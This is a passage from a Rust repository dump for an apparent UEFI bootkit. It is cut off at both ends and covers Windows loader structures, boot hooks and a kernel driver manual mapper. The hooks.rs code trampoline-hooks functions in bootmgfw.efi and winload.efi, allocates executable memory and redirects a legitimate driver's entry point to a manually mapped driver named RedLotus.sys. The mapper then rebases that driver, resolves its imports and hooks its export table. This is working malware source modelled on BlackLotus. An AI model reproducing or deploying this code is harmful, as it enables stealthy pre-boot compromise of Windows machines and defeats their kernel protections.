Status of virtual address map 210 | pub MissedMappingsCount: u32, // Count of missed mappings 211 | pub FirmwareResourceList: _LIST_ENTRY, // Firmware resource list 212 | pub EfiMemoryMap: *mut u8, // Pointer to EFI memory map 213 | pub EfiMemoryMapSize: u32, // Size of EFI memory map 214 | pub EfiMemoryMapDescriptorSize: u32, // Size of EFI memory map descriptor 215 | } 216 | 217 | //0x70 bytes (sizeof) 218 | #[repr(C)] 219 | pub struct _VIRTUAL_EFI_RUNTIME_SERVICES { 220 | pub GetTime: u64, // 0x0 221 | pub SetTime: u64, // 0x8 222 | pub GetWakeupTime: u64, // 0x10 223 | pub SetWakeupTime: u64, // 0x18 224 | pub SetVirtualAddressMap: u64, // 0x20 225 | pub ConvertPointer: u64, // 0x28 226 | pub GetVariable: u64, // 0x30 227 | pub GetNextVariableName: u64, // 0x38 228 | pub SetVariable: u64, // 0x40 229 | pub GetNextHighMonotonicCount: u64, // 0x48 230 | pub ResetSystem: u64, // 0x50 231 | pub UpdateCapsule: u64, // 0x58 232 | pub QueryCapsuleCapabilities: u64, // 0x60 233 | pub QueryVariableInfo: u64, // 0x68 234 | } 235 | 236 | //0x4 bytes (sizeof) 237 | #[repr(C)] 238 | pub struct _PCAT_FIRMWARE_INFORMATION { 239 | pub PlaceHolder: u32, // 0x0 240 | } 241 | 242 | //0x10 bytes (sizeof) 243 | #[repr(C)] 244 | pub struct _RTL_RB_TREE { 245 | pub Root: *mut _RTL_BALANCED_NODE, // 0x0 246 | pub Encoded: u8, // 0x8 (1 bit) 247 | pub Min: *mut _RTL_BALANCED_NODE, // 0x8 248 | } 249 | 250 | //0x18 bytes (sizeof) 251 | #[repr(C)] 252 | pub struct _RTL_BALANCED_NODE { 253 | pub Children: [*mut _RTL_BALANCED_NODE; 2], // 0x0 254 | pub Left: *mut _RTL_BALANCED_NODE, // 0x0 255 | pub Right: *mut _RTL_BALANCED_NODE, // 0x8 256 | pub Red: u8, // 0x10 (1 bit) 257 | pub Balance: u8, // 0x10 (2 bits) 258 | pub ParentValue: u64, // 0x10 259 | } 260 | 261 | //TODO (too big and not required for now) 262 | #[repr(C)] 263 | pub struct _LOADER_PARAMETER_EXTENSION; 264 | 265 | //0x170 bytes (sizeof) 266 | #[repr(C)] 267 | pub struct _LOADER_PARAMETER_BLOCK { 268 | pub OsMajorVersion: u32, //0x00 269 | pub OsMinorVersion: u32, //0x4 270 | pub Size: u32, //0x8 271 | pub OsLoaderSecurityVersion: u32, //0xc 272 | pub LoadOrderListHead: _LIST_ENTRY, //0x10 273 | pub MemoryDescriptorListHead: _LIST_ENTRY, //0x20 274 | pub BootDriverListHead: _LIST_ENTRY, //0x30 275 | pub EarlyLaunchListHead: _LIST_ENTRY, //0x40 276 | pub CoreDriverListHead: _LIST_ENTRY, //0x50 277 | pub CoreExtensionsDriverListHead: _LIST_ENTRY, //0x60 278 | pub TpmCoreDriverListHead: _LIST_ENTRY, //0x70 279 | pub KernelStack: u64, //0x80 280 | pub Prcb: u64, //0x88 281 | pub Process: u64, //0x90 282 | pub Thread: u64, //0x98 283 | pub KernelStackSize: u32, //0xa0 284 | pub RegistryLength: u32, //0xa4 285 | pub RegistryBase: *mut u8, //0xa8 286 | pub ConfigurationRoot: *mut _CONFIGURATION_COMPONENT_DATA, //0xb0 287 | pub ArcBootDeviceName: *const i8, //0xb8 288 | pub ArcHalDeviceName: *const i8, //0xc0 289 | pub NtBootPathName: *const i8, //0xc8 290 | pub NtHalPathName: *const i8, //0xd0 291 | pub LoadOptions: *const i8, //0xd8 292 | pub NlsData: *mut _NLS_DATA_BLOCK, //0xe0 293 | pub ArcDiskInformation: *mut _ARC_DISK_INFORMATION, //0xe8 294 | pub Extension: *mut _LOADER_PARAMETER_EXTENSION, //0xf0 295 | pub u: _LOADER_BLOCK, //0xf8 296 | pub FirmwareInformation: _FIRMWARE_INFORMATION_LOADER_BLOCK, //0x108 297 | pub OsBootstatPathName: *const i8, //0x148 298 | pub ArcOSDataDeviceName: *const i8, //0x150 299 | pub ArcWindowsSysPartName: *const i8, //0x158 300 | pub MemoryDescriptorTree: _RTL_RB_TREE, //0x160 301 | } 302 | 303 | // 0xa0 bytes (sizeof) 304 | #[repr(C)] 305 | pub struct _KLDR_DATA_TABLE_ENTRY { 306 | pub InLoadOrderLinks: _LIST_ENTRY, // 0x0 307 | pub ExceptionTable: *const c_void, // 0x10 308 | pub ExceptionTableSize: u32, // 0x18 309 | pub GpValue: *const c_void, // 0x20 310 | pub NonPagedDebugInfo: *mut _NON_PAGED_DEBUG_INFO, // 0x28 311 | pub DllBase: *const c_void, // 0x30 312 | pub EntryPoint: *const c_void, // 0x38 313 | pub SizeOfImage: u32, // 0x40 314 | pub FullDllName: _UNICODE_STRING, // 0x48 315 | pub BaseDllName: _UNICODE_STRING, // 0x58 316 | pub Flags: u32, // 0x68 317 | pub LoadCount: u16, // 0x6c 318 | pub SignatureLevel: u16, // 0x6e 319 | pub SectionPointer: *const c_void, // 0x70 320 | pub CheckSum: u32, // 0x78 321 | pub CoverageSectionSize: u32, // 0x7c 322 | pub CoverageSection: *const c_void, // 0x80 323 | pub LoadedImports: *const c_void, // 0x88 324 | pub Spare: *const c_void, // 0x90 325 | pub SizeOfImageNotRounded: u32, // 0x98 326 | pub TimeDateStamp: u32, // 0x9c 327 | } 328 | 329 | // Unicode string structure 330 | #[derive(Copy, Clone)] 331 | #[repr(C)] 332 | pub struct _UNICODE_STRING { 333 | pub Length: u16, // Length of the string 334 | pub MaximumLength: u16, // Maximum length of the string 335 | pub Buffer: *mut u16, // Pointer to the string buffer 336 | } 337 | 338 | //0x20 bytes (sizeof) 339 | #[repr(C)] 340 | pub struct _NON_PAGED_DEBUG_INFO { 341 | pub Signature: u16, // 0x0 342 | pub Flags: u16, // 0x2 343 | pub Size: u32, // 0x4 344 | pub Machine: u16, // 0x8 345 | pub Characteristics: u16, // 0xa 346 | pub TimeDateStamp: u32, // 0xc 347 | pub CheckSum: u32, // 0x10 348 | pub SizeOfImage: u32, // 0x14 349 | pub ImageBase: u64, // 0x18 350 | } 351 | -------------------------------------------------------------------------------- /bootkit/src/boot/hooks.rs: -------------------------------------------------------------------------------- 1 | use super::globals::{BL_MEMORY_TYPE_APPLICATION, JMP_SIZE, ORIGINAL_BYTES_COPY}; 2 | use super::includes::_LOADER_PARAMETER_BLOCK; 3 | use crate::boot::globals::{ 4 | BlImgAllocateImageBufferSignature_1, BlImgAllocateImageBufferSignature_2, 5 | ImgArchStartBootApplicationSignature, OslFwpKernelSetupPhase1Signature_1, 6 | OslFwpKernelSetupPhase1Signature_2, ALLOCATED_BUFFER, BL_MEMORY_ATTRIBUTE_RWX, 7 | DRIVER_IMAGE_SIZE, NTOSKRNL_HASH, ORIGINAL_BYTES, TARGET_DRIVER_HASH, 8 | }; 9 | use crate::boot::pe::{ 10 | get_loaded_module_by_hash, pattern_scan, trampoline_hook64, trampoline_unhook, 11 | }; 12 | use crate::mapper::manually_map; 13 | use core::ffi::c_void; 14 | use core::ptr::copy_nonoverlapping; 15 | use core::slice::from_raw_parts; 16 | use uefi::prelude::BootServices; 17 | use uefi::proto::loaded_image::LoadedImage; 18 | use uefi::{Handle, Status}; 19 | 20 | extern crate alloc; 21 | 22 | #[allow(non_camel_case_types)] 23 | type ImgArchStartBootApplicationType = fn( 24 | app_entry: *mut u8, 25 | image_base: *mut u8, 26 | image_size: u32, 27 | boot_option: u8, 28 | return_arguments: *mut u8, 29 | ) -> uefi::Status; 30 | 31 | #[allow(non_upper_case_globals)] 32 | static mut ImgArchStartBootApplication: Option = None; 33 | 34 | // Thanks jonaslyk for providing the correct function signature for BlImgAllocateImageBuffer :) 35 | #[allow(non_camel_case_types)] 36 | type BlImgAllocateImageBufferType = fn( 37 | image_buffer: *mut *mut c_void, 38 | image_size: u64, 39 | memory_type: u32, 40 | preffered_attributes: u32, 41 | preferred_alignment: u32, 42 | flags: u32, 43 | ) -> uefi::Status; 44 | 45 | #[allow(non_upper_case_globals)] 46 | static mut BlImgAllocateImageBuffer: Option = None; 47 | 48 | #[allow(non_camel_case_types)] 49 | type OslFwpKernelSetupPhase1Type = fn(loader_block: *mut _LOADER_PARAMETER_BLOCK) -> uefi::Status; 50 | 51 | #[allow(non_upper_case_globals)] 52 | static mut OslFwpKernelSetupPhase1: Option = None; 53 | 54 | pub fn setup_hooks(bootmgfw_handle: &Handle, boot_services: &BootServices) -> uefi::Result { 55 | // Open a handle to the loaded image bootmgfw.efi 56 | let bootmgr = boot_services.open_protocol_exclusive::(*bootmgfw_handle)?; 57 | 58 | // Returns the base address and the size in bytes of the loaded image. 59 | let (image_base, image_size) = bootmgr.info(); 60 | 61 | // Read Windows Boot Manager (bootmgfw.efi) from memory and store in a slice 62 | let bootmgfw_data = unsafe { from_raw_parts(image_base as *mut u8, image_size as usize) }; 63 | 64 | // Look for the ImgArchStartBootApplication signature in Windows EFI Boot Manager (bootmgfw.efi) and return an offset 65 | let offset = pattern_scan(bootmgfw_data, ImgArchStartBootApplicationSignature) 66 | .expect("Failed to pattern scan") 67 | .expect("Failed to find ImgArchStartBootApplication signature"); 68 | 69 | // Print the bootmgfw.efi image base and of ImgArchStartBootApplication offset and image base 70 | log::info!( 71 | "[+] bootmgfw.efi {:#p} + ImgArchStartBootApplication offset {:#x} = {:#x}", 72 | image_base, 73 | offset, 74 | (image_base as usize + offset) 75 | ); 76 | 77 | // Save the address of ImgArchStartBootApplication 78 | unsafe { 79 | ImgArchStartBootApplication = 80 | Some(core::mem::transmute::<_, ImgArchStartBootApplicationType>( 81 | (image_base as usize + offset) as *mut u8, 82 | )) 83 | } 84 | 85 | // Trampoline hook ImgArchStartBootApplication and save stolen bytes 86 | unsafe { 87 | ORIGINAL_BYTES = trampoline_hook64( 88 | ImgArchStartBootApplication.unwrap() as *mut () as *mut u8, 89 | img_arch_start_boot_application_hook as *mut () as *mut u8, 90 | JMP_SIZE, 91 | ) 92 | .expect("Failed to hook on ImgArchStartBootApplication"); 93 | } 94 | 95 | Ok(()) 96 | } 97 | 98 | /// ImgArchStartBootApplication in bootmgfw.efi: hooked to catch the moment when the Windows OS loader (winload.efi) 99 | /// is loaded in the memory but still hasn't been executed to perform more in-memory patching. 100 | /// https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/ 101 | pub fn img_arch_start_boot_application_hook( 102 | _app_entry: *mut u8, 103 | image_base: *mut u8, 104 | image_size: u32, 105 | _boot_option: u8, 106 | _return_arguments: *mut u8, 107 | ) -> uefi::Status { 108 | // Unhook ImgArchStartBootApplication and restore stolen bytes before we do anything else 109 | unsafe { 110 | trampoline_unhook( 111 | ImgArchStartBootApplication.unwrap() as *mut () as *mut u8, 112 | ORIGINAL_BYTES.as_mut_ptr(), 113 | JMP_SIZE, 114 | ) 115 | }; 116 | 117 | log::info!("[*] ### ImgArchStartBootApplication Hook ###"); 118 | 119 | // Read the data Windows OS Loader (winload.efi) from memory and store in a slice 120 | let winload_data = unsafe { from_raw_parts(image_base as *mut u8, image_size as usize) }; 121 | 122 | // Look for the OslFwpKernelSetupPhase1 signature in Windows OS Loader (winload.efi) and return an offset 123 | let mut offset = pattern_scan(winload_data, OslFwpKernelSetupPhase1Signature_1) 124 | .expect("Failed to pattern scan"); 125 | 126 | if offset.is_none() { 127 | offset = pattern_scan(winload_data, OslFwpKernelSetupPhase1Signature_2) 128 | .expect("Failed to pattern scan"); 129 | } 130 | 131 | let offset = offset.expect("Failed to find OslFwpKernelSetupPhase1 signature"); 132 | 133 | // Print the winload.efi image base and OslFwpKernelSetupPhase1 offset and image base 134 | log::info!( 135 | "[+] winload.efi {:#p} + OslFwpKernelSetupPhase1 offset {:#x} = {:#x}", 136 | image_base, 137 | offset, 138 | (image_base as usize + offset) 139 | ); 140 | 141 | // Save the address of OslFwpKernelSetupPhase1 142 | unsafe { 143 | OslFwpKernelSetupPhase1 = Some(core::mem::transmute::<_, OslFwpKernelSetupPhase1Type>( 144 | (image_base as usize + offset) as *mut u8, 145 | )) 146 | } 147 | 148 | // Trampoline hook OslFwpKernelSetupPhase1 and save stolen bytes 149 | unsafe { 150 | ORIGINAL_BYTES = trampoline_hook64( 151 | OslFwpKernelSetupPhase1.unwrap() as *mut () as *mut u8, 152 | ols_fwp_kernel_setup_phase1_hook as *mut () as *mut u8, 153 | JMP_SIZE, 154 | ) 155 | .expect("Failed to perform trampoline hook on OslFwpKernelSetupPhase1"); 156 | } 157 | 158 | // 159 | // Hook BlImgAllocateImageBuffer as well for allocating memory for the Windows kernel driver 160 | // 161 | 162 | // Look for the BlImgAllocateImageBuffer signature in Windows OS Loader (winload.efi) and return an offset 163 | let mut offset = pattern_scan(winload_data, BlImgAllocateImageBufferSignature_1) 164 | .expect("Failed to pattern scan"); 165 | 166 | if offset.is_none() { 167 | offset = pattern_scan(winload_data, BlImgAllocateImageBufferSignature_2) 168 | .expect("Failed to pattern scan"); 169 | } 170 | 171 | let offset = offset.expect("Failed to find BlImgAllocateImageBuffer"); 172 | 173 | // Save the address of BlImgAllocateImageBuffer 174 | unsafe { 175 | BlImgAllocateImageBuffer = Some(core::mem::transmute::<_, BlImgAllocateImageBufferType>( 176 | (image_base as usize + offset) as *mut u8, 177 | )) 178 | } 179 | 180 | // Trampoline hook BlImgAllocateImageBuffer and save stolen bytes 181 | unsafe { 182 | ORIGINAL_BYTES_COPY = trampoline_hook64( 183 | BlImgAllocateImageBuffer.unwrap() as *mut () as *mut u8, 184 | bl_img_allocate_image_buffer_hook as *mut () as *mut u8, 185 | JMP_SIZE, 186 | ) 187 | .expect("Failed to perform trampoline hook on BlImgAllocateImageBuffer"); 188 | } 189 | 190 | log::info!("[+] Calling Original ImgArchStartBootApplication"); 191 | 192 | // Call the original unhooked ImgArchStartBootApplication function 193 | return unsafe { 194 | ImgArchStartBootApplication.unwrap()( 195 | _app_entry, 196 | image_base, 197 | image_size, 198 | _boot_option, 199 | _return_arguments, 200 | ) 201 | }; 202 | } 203 | 204 | // Thanks jonaslyk for providing the correct function signature for BlImgAllocateImageBuffer :) 205 | /// This is called by the Windows OS loader (winload.efi) to allocate image buffers and we can use it to allocate memory for the Windows kernel driver 206 | fn bl_img_allocate_image_buffer_hook( 207 | image_buffer: *mut *mut c_void, 208 | image_size: u64, 209 | memory_type: u32, 210 | preffered_attributes: u32, 211 | preferred_alignment: u32, 212 | flags: u32, 213 | ) -> uefi::Status { 214 | // Unhook BlImgAllocateImageBuffer and restore stolen bytes before we do anything else 215 | unsafe { 216 | trampoline_unhook( 217 | BlImgAllocateImageBuffer.unwrap() as *mut () as *mut u8, 218 | ORIGINAL_BYTES_COPY.as_mut_ptr(), 219 | JMP_SIZE, 220 | ) 221 | }; 222 | 223 | // Call the original unhooked BlImgAllocateImageBuffer function 224 | let status = unsafe { 225 | BlImgAllocateImageBuffer.unwrap()( 226 | image_buffer, 227 | image_size, 228 | memory_type, 229 | preffered_attributes, 230 | preferred_alignment, 231 | flags, 232 | ) 233 | }; 234 | 235 | if status == Status::SUCCESS && memory_type == BL_MEMORY_TYPE_APPLICATION { 236 | // Allocate memory for the driver 237 | let status = unsafe { 238 | BlImgAllocateImageBuffer.unwrap()( 239 | &mut ALLOCATED_BUFFER as *mut *mut c_void, 240 | DRIVER_IMAGE_SIZE, 241 | memory_type, 242 | BL_MEMORY_ATTRIBUTE_RWX, 243 | preferred_alignment, 244 | 0, 245 | ) 246 | }; 247 | 248 | log::info!("[+] BlImgAllocateImageBuffer returned: {:?}!", status); 249 | log::info!("[+] Allocated Buffer: {:#x}", unsafe { 250 | ALLOCATED_BUFFER as u64 251 | }); 252 | 253 | // This time we don't hook BlImgAllocateImageBuffer again 254 | return status; 255 | } 256 | 257 | // Trampoline hook BlImgAllocateImageBuffer and save stolen bytes again 258 | unsafe { 259 | ORIGINAL_BYTES_COPY = trampoline_hook64( 260 | BlImgAllocateImageBuffer.unwrap() as *mut () as *mut u8, 261 | bl_img_allocate_image_buffer_hook as *mut () as *mut u8, 262 | JMP_SIZE, 263 | ) 264 | .expect("Failed to perform trampoline hook on BlImgAllocateImageBuffer"); 265 | } 266 | 267 | return status; 268 | } 269 | 270 | /// This is called by the Windows OS loader (winload.efi) with _LOADER_PARAMETER_BLOCK before calling ExitBootService (winload.efi context) 271 | fn ols_fwp_kernel_setup_phase1_hook(loader_block: *mut _LOADER_PARAMETER_BLOCK) -> uefi::Status { 272 | // Unhook OslFwpKernelSetupPhase1 and restore stolen bytes before we do anything else 273 | unsafe { 274 | trampoline_unhook( 275 | OslFwpKernelSetupPhase1.unwrap() as *mut () as *mut u8, 276 | ORIGINAL_BYTES.as_mut_ptr(), 277 | JMP_SIZE, 278 | ) 279 | }; 280 | 281 | log::info!("[*] ### OslFwpKernelSetupPhase1 Hook ###"); 282 | 283 | // ntoskrnl.exe hash: 0xa3ad0390 284 | // Get ntoskrnl.exe _LIST_ENTRY from the _LOADER_PARAMETER_BLOCK to get image base and image size 285 | let ntoskrnl_module = unsafe { 286 | get_loaded_module_by_hash(&mut (*loader_block).LoadOrderListHead, NTOSKRNL_HASH) 287 | .expect("Failed to get ntoskrnl by hash") 288 | }; 289 | 290 | log::info!("[+] ntoskrnl.exe image base: {:p}", unsafe { 291 | (*ntoskrnl_module).DllBase 292 | }); 293 | log::info!("[+] ntoskrnl.exe image size: {:#x}", unsafe { 294 | (*ntoskrnl_module).SizeOfImage 295 | }); 296 | 297 | // The target module is the driver we are going to hook, this will be left to the user to change 298 | let target_module = unsafe { 299 | get_loaded_module_by_hash(&mut (*loader_block).LoadOrderListHead, TARGET_DRIVER_HASH) 300 | .expect("Failed to get target driver by hash") 301 | }; 302 | 303 | log::info!("[+] Target Driver image base: {:p}", unsafe { 304 | (*target_module).DllBase 305 | }); 306 | log::info!("[+] Target Driver image size: {:#x}", unsafe { 307 | (*target_module).SizeOfImage 308 | }); 309 | 310 | let mapped_driver_address_of_entry_point = unsafe { 311 | manually_map( 312 | (*ntoskrnl_module).DllBase as _, 313 | (*target_module).EntryPoint as _, 314 | ) 315 | .expect("Failed to manually map Windows kernel driver") 316 | }; 317 | 318 | // lea r8, [rip - 7] 319 | let asm_bytes: [u8; 7] = [0x4C, 0x8D, 0x05, 0xF9, 0xFF, 0xFF, 0xFF]; // 7 bytes 320 | unsafe { 321 | copy_nonoverlapping( 322 | asm_bytes.as_ptr(), 323 | (*target_module).EntryPoint as _, 324 | asm_bytes.len(), 325 | ) 326 | }; 327 | 328 | // Trampoline hook target driver + 7 bytes and redirect to our manually mapped driver 329 | unsafe { 330 | ORIGINAL_BYTES = trampoline_hook64( 331 | ((*target_module).EntryPoint as *mut u8).add(7), 332 | mapped_driver_address_of_entry_point, 333 | JMP_SIZE, 334 | ) 335 | .expect("Failed to perform trampoline hook on target driver") 336 | }; 337 | 338 | log::info!("[+] Hooked Target Driver Entry"); 339 | log::info!( 340 | "[+] Redlotus.sys DriverEntry: {:#p}", 341 | mapped_driver_address_of_entry_point 342 | ); 343 | log::info!("[+] Target Driver DriverEntry: {:p}", unsafe { 344 | (*target_module).EntryPoint 345 | }); 346 | log::info!("[+] Target Driver Hook Address: {:#p}", unsafe { 347 | ((*target_module).EntryPoint as *mut u8).add(7) 348 | }); 349 | log::info!( 350 | "[+] Stolen Bytes Address (freed after kernel is loaded): {:#p}", 351 | unsafe { ORIGINAL_BYTES.as_mut_ptr() } 352 | ); 353 | 354 | log::info!("[+] Loading Windows Kernel..."); 355 | 356 | // Call the original unhooked OslFwpKernelSetupPhase1 function 357 | return unsafe { OslFwpKernelSetupPhase1.unwrap()(loader_block) }; 358 | } 359 | -------------------------------------------------------------------------------- /bootkit/src/mapper/mod.rs: -------------------------------------------------------------------------------- 1 | use self::headers::{ 2 | IMAGE_BASE_RELOCATION, IMAGE_DIRECTORY_ENTRY_BASERELOC, IMAGE_DIRECTORY_ENTRY_EXPORT, 3 | IMAGE_DIRECTORY_ENTRY_IMPORT, IMAGE_DOS_SIGNATURE, IMAGE_IMPORT_DESCRIPTOR, IMAGE_NT_SIGNATURE, 4 | IMAGE_REL_BASED_DIR64, IMAGE_REL_BASED_HIGHLOW, PIMAGE_BASE_RELOCATION, PIMAGE_DOS_HEADER, 5 | PIMAGE_EXPORT_DIRECTORY, PIMAGE_IMPORT_BY_NAME, PIMAGE_IMPORT_DESCRIPTOR, PIMAGE_NT_HEADERS64, 6 | PIMAGE_SECTION_HEADER, PIMAGE_THUNK_DATA64, 7 | }; 8 | use crate::boot::globals::{ 9 | ALLOCATED_BUFFER, DRIVER_PHYSICAL_MEMORY, MAPPER_DATA_HASH, MAPPER_DATA_SIZE, 10 | }; 11 | use core::{mem::size_of, ptr::copy_nonoverlapping, slice::from_raw_parts}; 12 | mod headers; 13 | 14 | /// Manually map Windows kernel driver and get address of entry point 15 | pub unsafe fn manually_map( 16 | ntoskrnl_base: *mut u8, 17 | target_module_entry_point: *mut u8, 18 | ) -> Option<*mut u8> { 19 | log::info!("[*] ### Manual Mapper ###"); 20 | let module_base = DRIVER_PHYSICAL_MEMORY as *mut u8; 21 | let new_module_base = ALLOCATED_BUFFER as *mut u64 as *mut u8; 22 | 23 | log::info!("[+] RedLotus.sys Physical Memory: {:p}", module_base); 24 | log::info!("[+] RedLotus.sys Virtual Memory: {:p}", new_module_base); 25 | 26 | // Copy DOS/NT headers to newly allocated memory 27 | copy_headers(module_base, new_module_base).expect("Failed to copy headers"); 28 | log::info!("[+] Copied headers"); 29 | 30 | // Copy sections to newly allocated memory 31 | copy_sections(module_base, new_module_base).expect("Failed to copy sections"); 32 | log::info!("[+] Copied sections"); 33 | 34 | /* Since we have copied the headers and sections, we can rebase image and resolve imports using the new_module_base (newly allocated memory) */ 35 | 36 | // Process image relocations (rebase image) 37 | rebase_image(new_module_base).expect("Failed to rebase image"); 38 | log::info!("[+] Rebased image"); 39 | 40 | // Resolve imports using ntoskrnl 41 | resolve_imports(new_module_base, ntoskrnl_base).expect("Failed to resolve imports"); 42 | log::info!("[+] Resolved imports"); 43 | 44 | log::info!("[+] Finished manual mapping!"); 45 | 46 | // Store the target module entry point in the new module base's export address table (DriverEntry) 47 | hook_export_address_table(new_module_base, MAPPER_DATA_HASH, target_module_entry_point) 48 | .expect("Failed to hook export address table"); 49 | log::info!("[+] Hooked export address table (EAT)"); 50 | 51 | let nt_headers = get_nt_headers(new_module_base).expect("Failed to get NT headers"); 52 | let manually_mapped_driver_entry = (new_module_base as usize 53 | + (*nt_headers).OptionalHeader.AddressOfEntryPoint as usize) 54 | as *mut u8; 55 | 56 | return Some(manually_mapped_driver_entry); 57 | } 58 | 59 | /// Save the target driver_entry address inside the manually mapped Windows kernel export, driver_entry 60 | pub unsafe fn hook_export_address_table( 61 | module_base: *mut u8, 62 | export_hash: u32, 63 | target_base: *mut u8, 64 | ) -> Option<()> { 65 | let nt_headers = get_nt_headers(module_base)?; 66 | let export_directory = (module_base as usize 67 | + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize] 68 | .VirtualAddress as usize) as PIMAGE_EXPORT_DIRECTORY; 69 | 70 | let names = from_raw_parts( 71 | (module_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, 72 | (*export_directory).NumberOfNames as _, 73 | ); 74 | let functions = from_raw_parts( 75 | (module_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, 76 | (*export_directory).NumberOfFunctions as _, 77 | ); 78 | let ordinals = from_raw_parts( 79 | (module_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, 80 | (*export_directory).NumberOfNames as _, 81 | ); 82 | 83 | for i in 0..(*export_directory).NumberOfNames { 84 | let name_addr = (module_base as usize + names[i as usize] as usize) as *const i8; 85 | let name_len = get_cstr_len(name_addr as _); 86 | let name_slice: &[u8] = from_raw_parts(name_addr as _, name_len); 87 | 88 | // Ordinal 0: __CxxFrameHandler3 89 | // Ordinal 1: _fltused 90 | // Ordinal 2: driver_entry 91 | // Ordinal 3: 92 | if export_hash == dbj2_hash(name_slice) { 93 | let ordinal = ordinals[i as usize] as usize; 94 | 95 | // Copy the original bytes of the target module to the export function 96 | let mapper_data_addy = (module_base as usize + functions[ordinal] as usize) as *mut u8; 97 | copy_nonoverlapping(target_base, mapper_data_addy, MAPPER_DATA_SIZE); 98 | 99 | return Some(()); 100 | } 101 | } 102 | 103 | return None; 104 | } 105 | 106 | /// Get a pointer to IMAGE_DOS_HEADER 107 | pub unsafe fn get_dos_header(module_base: *mut u8) -> Option { 108 | let dos_header = module_base as PIMAGE_DOS_HEADER; 109 | 110 | if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE { 111 | return None; 112 | } 113 | 114 | return Some(dos_header); 115 | } 116 | 117 | /// Get a pointer to IMAGE_NT_HEADERS64 x86_64 118 | pub unsafe fn get_nt_headers(module_base: *mut u8) -> Option { 119 | let dos_header = get_dos_header(module_base)?; 120 | 121 | let nt_headers = 122 | (module_base as usize + (*dos_header).e_lfanew as usize) as PIMAGE_NT_HEADERS64; 123 | 124 | if (*nt_headers).Signature != IMAGE_NT_SIGNATURE as _ { 125 | return None; 126 | } 127 | 128 | return Some(nt_headers); 129 | } 130 | 131 | /// Copy headers into the target memory location (remember to stomp/erase DOS and NT headers later, if required) 132 | pub unsafe fn copy_headers(module_base: *mut u8, new_module_base: *mut u8) -> Option<()> { 133 | let nt_headers = get_nt_headers(module_base)?; 134 | 135 | for i in 0..(*nt_headers).OptionalHeader.SizeOfHeaders { 136 | new_module_base 137 | .cast::() 138 | .add(i as usize) 139 | .write(module_base.add(i as usize).read()); 140 | } 141 | 142 | Some(()) 143 | } 144 | 145 | /// Copy sections into the newly allocated memory 146 | pub unsafe fn copy_sections(module_base: *mut u8, new_module_base: *mut u8) -> Option<()> { 147 | let nt_headers = get_nt_headers(module_base)?; 148 | let section_header = (&(*nt_headers).OptionalHeader as *const _ as usize 149 | + (*nt_headers).FileHeader.SizeOfOptionalHeader as usize) 150 | as PIMAGE_SECTION_HEADER; 151 | 152 | for i in 0..(*nt_headers).FileHeader.NumberOfSections { 153 | let section_header_i = &*(section_header.add(i as usize)); 154 | let destination = new_module_base 155 | .cast::() 156 | .add(section_header_i.VirtualAddress as usize); 157 | let source = 158 | (module_base as usize + section_header_i.PointerToRawData as usize) as *const u8; 159 | let size = section_header_i.SizeOfRawData as usize; 160 | 161 | //core::ptr::copy_nonoverlapping(source, destination, size); 162 | let source_data = core::slice::from_raw_parts(source as *const u8, size); 163 | 164 | for x in 0..size { 165 | let src_data = source_data[x]; 166 | let dest_data = destination.add(x); 167 | *dest_data = src_data; 168 | } 169 | } 170 | 171 | Some(()) 172 | } 173 | 174 | /// Get the address of an export by hash 175 | pub unsafe fn get_export_by_hash(module_base: *mut u8, export_hash: u32) -> Option<*mut u8> { 176 | let nt_headers = get_nt_headers(module_base)?; 177 | let export_directory = (module_base as usize 178 | + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize] 179 | .VirtualAddress as usize) as PIMAGE_EXPORT_DIRECTORY; 180 | 181 | let names = from_raw_parts( 182 | (module_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, 183 | (*export_directory).NumberOfNames as _, 184 | ); 185 | let functions = from_raw_parts( 186 | (module_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, 187 | (*export_directory).NumberOfFunctions as _, 188 | ); 189 | let ordinals = from_raw_parts( 190 | (module_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, 191 | (*export_directory).NumberOfNames as _, 192 | ); 193 | 194 | for i in 0..(*export_directory).NumberOfNames { 195 | let name_addr = (module_base as usize + names[i as usize] as usize) as *const i8; 196 | let name_len = get_cstr_len(name_addr as _); 197 | let name_slice: &[u8] = from_raw_parts(name_addr as _, name_len); 198 | 199 | if export_hash == dbj2_hash(name_slice) { 200 | let ordinal = ordinals[i as usize] as usize; 201 | return Some((module_base as usize + functions[ordinal] as usize) as *mut u8); 202 | } 203 | } 204 | 205 | return None; 206 | } 207 | 208 | /// Process image relocations (rebase image) 209 | pub unsafe fn rebase_image(module_base: *mut u8) -> Option { 210 | let nt_headers = get_nt_headers(module_base)?; 211 | 212 | // Calculate the difference between remote allocated memory region where the image will be loaded and preferred ImageBase (delta) 213 | let delta = module_base as isize - (*nt_headers).OptionalHeader.ImageBase as isize; 214 | 215 | // Return early if delta is 0 216 | if delta == 0 { 217 | return Some(true); 218 | } 219 | 220 | // Resolve the imports of the newly allocated memory region 221 | 222 | // Get a pointer to the first _IMAGE_BASE_RELOCATION 223 | let mut base_relocation = (module_base as usize 224 | + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize] 225 | .VirtualAddress as usize) as PIMAGE_BASE_RELOCATION; 226 | 227 | if base_relocation.is_null() { 228 | return Some(false); 229 | } 230 | 231 | // Get the end of _IMAGE_BASE_RELOCATION 232 | let base_relocation_end = base_relocation as usize 233 | + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].Size 234 | as usize; 235 | 236 | while (*base_relocation).VirtualAddress != 0u32 237 | && (*base_relocation).VirtualAddress as usize <= base_relocation_end 238 | && (*base_relocation).SizeOfBlock != 0u32 239 | { 240 | // Get the VirtualAddress, SizeOfBlock and entries count of the current _IMAGE_BASE_RELOCATION block 241 | let address = (module_base as usize + (*base_relocation).VirtualAddress as usize) as isize; 242 | 243 | let item = (base_relocation as usize + size_of::()) as *const u16; 244 | let count = ((*base_relocation).SizeOfBlock as usize - size_of::()) 245 | / size_of::() as usize; 246 | 247 | for i in 0..count { 248 | // Get the Type and Offset from the Block Size field of the 